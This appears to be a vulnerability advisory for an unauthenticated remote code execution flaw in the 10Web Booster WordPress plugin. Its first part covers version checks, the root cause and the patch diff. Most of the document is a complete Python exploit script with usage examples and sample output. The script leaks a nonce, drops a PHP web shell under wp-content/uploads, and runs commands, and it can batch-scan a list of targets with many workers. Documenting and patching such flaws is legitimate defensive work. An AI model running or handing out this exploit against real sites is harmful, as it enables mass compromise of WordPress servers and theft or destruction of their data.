#Summary

CVE-2026-108587 is a critical remote code execution vulnerability in the 10Web Booster WordPress plugin (tenweb-speed-optimizer), affecting all versions up to and including 2.34.10. Two independent flaws chain together to allow unauthenticated attackers to write arbitrary PHP files to the web root and execute code with web server privileges. CVSS score is 9.8 (Critical).

#Am I affected?

#How to check

#Version check

curl http://your-site.example.com/wp-content/plugins/tenweb-speed-optimizer/readme.txt | grep "Stable tag:"

If the output shows a version <= 2.34.10, the site is affected. Version 2.34.11 or later is patched.

#Configuration check

If the plugin is installed but you cannot determine the version, check for the presence of a restart file:

curl -I http://your-site.example.com/wp-content/uploads/bulk/tenweb_image_optimizer_restart_bulk.txt

#Fix and mitigation

#Root cause analysis

Two independent flaws combine into unauthenticated RCE. Both live in the bundled 10web-utils library included with the plugin.

#Flaw A: Reusable nonce leaked in a world-readable file

When a bulk or custom image-optimisation batch pauses (after processing ~20 images by default), the plugin serializes its entire queue-context object to disk via the QueueRestart::writeObjectInfile() method in wp-content/uploads/<type>/tenweb_image_optimizer_restart_<type>.txt. This serialized object includes the tenwebio_nonce field - a WordPress nonce minted with wp_create_nonce('tenwebio_rest') in a loopback/cron context.

The critical issue: file_put_contents() writes the restart file with default permissions (0644, world-readable), and Utils::getQueueDir() creates the containing directory with no .htaccess or index.html protection. This means any unauthenticated visitor can GET the file and extract the nonce.

WordPress nonces are bound to three values: user ID, action name, and a 12-24 hour time tick. Because the loopback context runs with no logged-in user (user ID 0), and an unauthenticated attacker is also user ID 0 for WordPress, the leaked nonce validates for the attacker via check_ajax_referer('tenwebio_rest', 'tenwebio_nonce', false) until it expires. This is the authentication bypass.

#Flaw B: Unvalidated page_id concatenated into file path and name

The compress-custom REST endpoint calls CompressService::compressCustom($image_urls, $page_id, ...), which concatenates page_id straight into the queue "type" string without any validation:

$this->compress('custom_' . $page_id);

This type value becomes:

There is no extension or path validation. Setting page_id=shell.php produces a queue file ending in .php. Each supplied image_urls value is serialized into the queue file body via json_encode(). The critical detail: json_encode() escapes double quotes and forward slashes, but leaves <?, ?>, spaces, and most special characters intact. So a payload like <?php system($_GET['c']); ?> is written byte-for-byte into the file.

By sending more than the default restart limit (20 image entries), frames that exceed the limit are not consumed during batch processing and survive disk. When the plugin hits the restart limit and calls die(), the unconsumed frames - containing the PHP payload - remain on disk as an executable .php file under wp-content/uploads/. A default WordPress installation serves and executes files from this directory.

#Patch diff

Version 2.34.11 fixes all issues:

#1. Strict slug validation for page_id

+    public static function sanitizePageId($page_id)
+    {
+        $page_id = (string) $page_id;
+        return preg_match('/^[A-Za-z0-9_-]{1,64}$/', $page_id) ? $page_id : '';
+    }

Dots, slashes, and backslashes are now rejected, so shell.php and traversal payloads collapse to an empty string.

#2. Reusable nonce replaced by single-use transient token

-        $this->restart_body['tenwebio_nonce'] = wp_create_nonce('tenwebio_rest');
+        $restart_token = wp_generate_password(43, false, false);
+        set_site_transient(TENWEBIO_PREFIX . '_restart_token_' . $type, wp_hash($restart_token), 15 * MINUTE_IN_SECONDS);
+        $this->restart_body['tenwebio_restart_token'] = $restart_token;

The reusable nonce is replaced with a random token stored server-side as a hashed transient (15-minute TTL). The token is single-use and never serialized into the world-readable restart file.

#3. Queue directories protected with deny-all .htaccess

+    public static function protectDir($dir)
+    {
+        $htaccess = $dir . DIRECTORY_SEPARATOR . '.htaccess';
+        if (!is_file($htaccess)) {
+            @file_put_contents($htaccess,
+                "<IfModule mod_authz_core.c>\nRequire all denied\n</IfModule>\n");
+        }

Called from getQueueDir(), this ensures that even if a restart file somehow ends up on disk, it cannot be fetched over HTTP.

#Proof of concept

#exploit.py - 10Web Booster Unauthenticated File Write RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-108587 - 10Web Booster (tenweb-speed-optimizer) unauthenticated arbitrary
file write leading to remote code execution.

Affected: WordPress plugin "10Web Booster - Website speed optimization, Cache & Page
Speed optimizer" (slug tenweb-speed-optimizer), all versions up to and including
2.34.10. Fixed in 2.34.11.
Type: RCE (unauthenticated arbitrary PHP file write under wp-content/uploads)

Mechanism (two chained flaws, both unauthenticated):
  1. Auth bypass. When a bulk/custom image-optimisation batch pauses, the plugin
     serializes its whole queue-context object - including a reusable loopback nonce
     minted with wp_create_nonce('tenwebio_rest') in a uid-0 context - into a
     world-readable file under wp-content/uploads/<type>/. Because the nonce is bound
     to user id 0 and an unauthenticated caller is also user id 0, the leaked nonce
     validates for the attacker via check_ajax_referer until it ages out (~24h).
  2. Arbitrary write. The compress-custom REST endpoint concatenates the attacker's
     page_id straight into both the queue directory name and the on-disk queue file
     name, with no extension or path validation. A page_id ending in ".php" yields a
     .php file. Each supplied image_urls value is json_encode'd into the file body;
     json_encode leaves <, >, ?, spaces, $, (), [], single quotes intact, so a
     <?php ... ?> block is written byte-for-byte. Sending >20 entries leaves
     un-consumed frames so the file survives the batch's restart-limit die() instead
     of being purged. The result is an executable PHP web shell under uploads/.

Usage:
  python exploit.py --host 127.0.0.1 --port 18580 --command id
  python exploit.py --host http://target.example.com --command "uname -a"
  python exploit.py --host https://target.example.com:8443 --command id
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import re
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request

CVE_ID = "CVE-2026-108587"
VULN_TYPE = "RCE"

# Where a paused batch leaves the serialized nonce. "bulk" is the routine default;
# the custom_* variants are tried as a fallback.
RESTART_PATHS = [
    "wp-content/uploads/bulk/tenweb_image_optimizer_restart_bulk.txt",
]
RESTART_DIR_GLOBLESS = "wp-content/uploads/%s/tenweb_image_optimizer_restart_%s.txt"

NONCE_RE = re.compile(rb'tenwebio_nonce"?;s:\d+:"([A-Za-z0-9]+)"')

# Number of payload frames to enqueue. Must exceed the plugin's default restart limit
# (20) so un-consumed frames keep the file on disk after the batch pauses.
FRAME_COUNT = 21

UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"


def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


def _ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    return c


def _base_url(host, port, use_tls, path):
    scheme = "https" if use_tls else "http"
    # path here is the site base path (usually "/"); strip trailing slash for joins.
    base = path.rstrip("/") if path and path != "/" else ""
    return "%s://%s:%d%s" % (scheme, host, port, base)


def _request(url, data=None, timeout=15, use_tls=False):
    """Low-level HTTP. Returns (status, body_bytes). data=bytes -> POST."""
    req = urllib.request.Request(url, data=data, headers={"User-Agent": UA})
    ctx = _ctx() if use_tls else None
    try:
        resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
        return resp.getcode(), resp.read()
    except urllib.error.HTTPError as e:
        # 4xx/5xx still carry a body we want (e.g. the die()'d restart response).
        return e.code, e.read()


def _leak_nonce(base, use_tls, timeout):
    """GET the serialized restart file and pull the loopback nonce out of it.
    Returns (nonce_str, path_used) or (None, None)."""
    for rel in RESTART_PATHS:
        url = base + "/" + rel
        try:
            status, body = _request(url, timeout=timeout, use_tls=use_tls)
        except Exception:
            continue
        if status == 200 and body:
            m = NONCE_RE.search(body)
            if m:
                return m.group(1).decode(), rel
    return None, None


def _write_shell(base, use_tls, nonce, slug, payload, timeout):
    """POST compress-custom to drop the PHP file. Returns (status, body_bytes)."""
    url = base + "/?rest_route=/tenwebio/v2/compress-custom"
    fields = [
        ("tenwebio_nonce", nonce),
        ("page_id", slug),
    ]
    for _ in range(FRAME_COUNT):
        fields.append(("image_urls[]", payload))
    data = urllib.parse.urlencode(fields).encode()
    return _request(url, data=data, timeout=timeout, use_tls=use_tls)


def _shell_url(base, slug):
    # Directory and file share the page_id tail:
    # uploads/custom_<slug>/tenweb_image_optimizer_custom_<slug>
    return "%s/wp-content/uploads/custom_%s/tenweb_image_optimizer_custom_%s" % (
        base, slug, slug,
    )


def _run_command(base, use_tls, slug, command, marker, timeout):
    """GET the dropped web shell with the command. Returns (status, body_text)."""
    # Prefix a per-run marker so a stale/cached shell cannot be mistaken for this run.
    full_cmd = "echo %s; %s" % (marker, command)
    q = urllib.parse.urlencode({"c": full_cmd})
    url = _shell_url(base, slug) + "?" + q
    status, body = _request(url, timeout=timeout, use_tls=use_tls)
    try:
        text = body.decode("utf-8", "replace")
    except Exception:
        text = repr(body)
    return status, text


def _extract_output(text, marker):
    """Pull the real command output out of the queue-frame JSON padding.

    The shell runs `echo <marker>; <command>`, so the response is
    <marker>\\n<command output>, wrapped in inert serialized-queue text. The output
    bytes sit between the marker and the next JSON escaping boundary (a backslash or
    double quote), because that wrapper is pure JSON/padding."""
    idx = text.find(marker)
    if idx < 0:
        return None
    tail = text[idx + len(marker):]
    # The JSON wrapper around each frame uses backslash-escaped quotes; the raw
    # command output contains neither, so the first \\ or " ends it.
    cut = len(tail)
    for ch in ("\\", '"'):
        p = tail.find(ch)
        if p != -1:
            cut = min(cut, p)
    out = tail[:cut].strip()
    return out or None


def _try_exploit(host, port, use_tls=False, path="/", command="id", timeout=15):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
    base = _base_url(host, port, use_tls, path)
    try:
        nonce, _ = _leak_nonce(base, use_tls, timeout)
        if not nonce:
            return False, "no leaked restart file (no paused batch, or patched)"
        slug = "p%s.php" % secrets.token_hex(3)
        payload = "<?php system($_GET['c']); ?>"
        _write_shell(base, use_tls, nonce, slug, payload, timeout)
        rmark = secrets.token_hex(6)
        status, text = _run_command(base, use_tls, slug, command, rmark, timeout)
        out = _extract_output(text, rmark)
        if out is not None:
            return True, out[:120]
        if "system($_GET" in text:
            return False, "file written but PHP not executed (uploads not executing .php)"
        return False, "payload sent, no command output (target may be patched)"
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, command="id"):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, path, command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % (
                "[+]" if ok else "[-]", label,
                "Exploited" if ok else "Not vulnerable", evidence,
            ))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)" % (
        success_count, total - success_count, total,
    ))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, command, path="/"):
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    timeout = 20

    step(1, "Leaking the serialized loopback nonce from the world-readable restart file...")
    nonce, rel = _leak_nonce(base, use_tls, timeout)
    if not nonce:
        section("RESTART FILE", "No readable restart file found at the known paths.")
        done(False, "no leaked nonce - no paused batch has written a restart file, "
                    "or directories are hardened (patched)")
    section("LEAKED NONCE", "%s  (from %s)" % (nonce, rel))

    slug = "p%s.php" % secrets.token_hex(3)
    payload = "<?php system($_GET['c']); ?>"
    step(2, "Writing the PHP web shell via compress-custom (page_id=%s, %d frames)..."
            % (slug, FRAME_COUNT))
    status, body = _write_shell(base, use_tls, nonce, slug, payload, timeout)
    try:
        btext = body.decode("utf-8", "replace")
    except Exception:
        btext = repr(body)
    section("WRITE RESPONSE", "HTTP %s\n%s" % (status, btext[:400]))

    rmark = secrets.token_hex(6)
    step(3, "Fetching the dropped shell to execute: %s" % command)
    gstatus, text = _run_command(base, use_tls, slug, command, rmark, timeout)
    section("SHELL RESPONSE (HTTP %s)" % gstatus, text[:1500])

    out = _extract_output(text, rmark)
    if out is not None:
        section("COMMAND OUTPUT", out)
        done(True, "RCE confirmed - command '%s' output: %s" % (command, out[:200]))
    elif "system($_GET" in text:
        done(False, "arbitrary file write confirmed, but uploads/ did not execute the "
                    "PHP (hardened runtime) - RCE blocked")
    else:
        done(False, "payload sent but no command output in shell response - "
                    "target may be patched or page_id was rejected")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://host:8443/path)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--command", default="id", help="Command to execute (default: id)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.command, path)

#Usage

Single target scan:

python3 exploit.py --host 127.0.0.1 --port 80 --command id
python3 exploit.py --host http://victim.example.com --command "uname -a"
python3 exploit.py --host https://victim.example.com:8443 --command id

Batch scan with multiple targets:

python3 exploit.py --list targets.txt --workers 20 --command id

Vulnerable target output:

[STEP 1] Leaking the serialized loopback nonce from the world-readable restart file...

--- LEAKED NONCE ---
d3096f733d  (from wp-content/uploads/bulk/tenweb_image_optimizer_restart_bulk.txt)
---

[STEP 2] Writing the PHP web shell via compress-custom (page_id=p7a9a18.php, 21 frames)...

--- WRITE RESPONSE ---
HTTP 200
{"tenweb_queue_restart": "1"}
---

[STEP 3] Fetching the dropped shell to execute: id

--- SHELL RESPONSE (HTTP 200) ---
|{"body":"\"{\\\"guid\\\":\\\"6974cb26dc5e
uid=33(www-data) gid=33(www-data) groups=33(www-data)
\\\",\\\"ID\\\":0,\\\"size\\\":\\\"full_custom\\\"}\"","properties":[],"headers":[]}
---

--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---

RESULT: SUCCESS

Patched target output:

[STEP 1] Leaking the serialized loopback nonce from the world-readable restart file...

--- RESTART FILE ---
No readable restart file found at the known paths.
---

RESULT: FAILURE
EVIDENCE: no leaked nonce - no paused batch has written a restart file, or directories are hardened (patched)

#Command-line arguments

#Exploitation notes

#Preconditions

  1. The plugin must be "connected" - an admin has linked it to their 10Web account, which sets the site options tenweb_workspace_id, tenweb_domain_id, and tenweb_access_token. An unconnected install returns HTTP 401 and is not exploitable
  2. A bulk or custom batch must have paused at least once to generate a restart file. This is routine on any active install that optimizes more than ~20 images
  3. The nonce must still be within its ~24-hour validity window
  4. wp-content/uploads/ must be configured to serve and execute PHP files (the WordPress default)

#Reliability

The exploit is deterministic. On a vulnerable target with preconditions met, the three-request chain consistently writes a PHP web shell under wp-content/uploads/ and executes the supplied command. The output is extracted from the HTTP response and reliably distinguished from inert JSON padding. No memory corruption or race conditions apply - this is a direct file write.

#Impact

Unauthenticated remote code execution with web server privileges (typically www-data). The attacker can read sensitive files, modify or delete data, pivot to other systems, install backdoors, or launch further attacks.

#Chaining potential

The ability to write arbitrary files to wp-content/uploads/ and execute PHP can be chained with other WordPress vulnerabilities to achieve full site compromise. For example, a second plugin vulnerability that requires authenticated access could be exploited after establishing an initial shell. The shell runs as www-data, which may allow privilege escalation to higher-privilege processes if the system has other weaknesses.

#References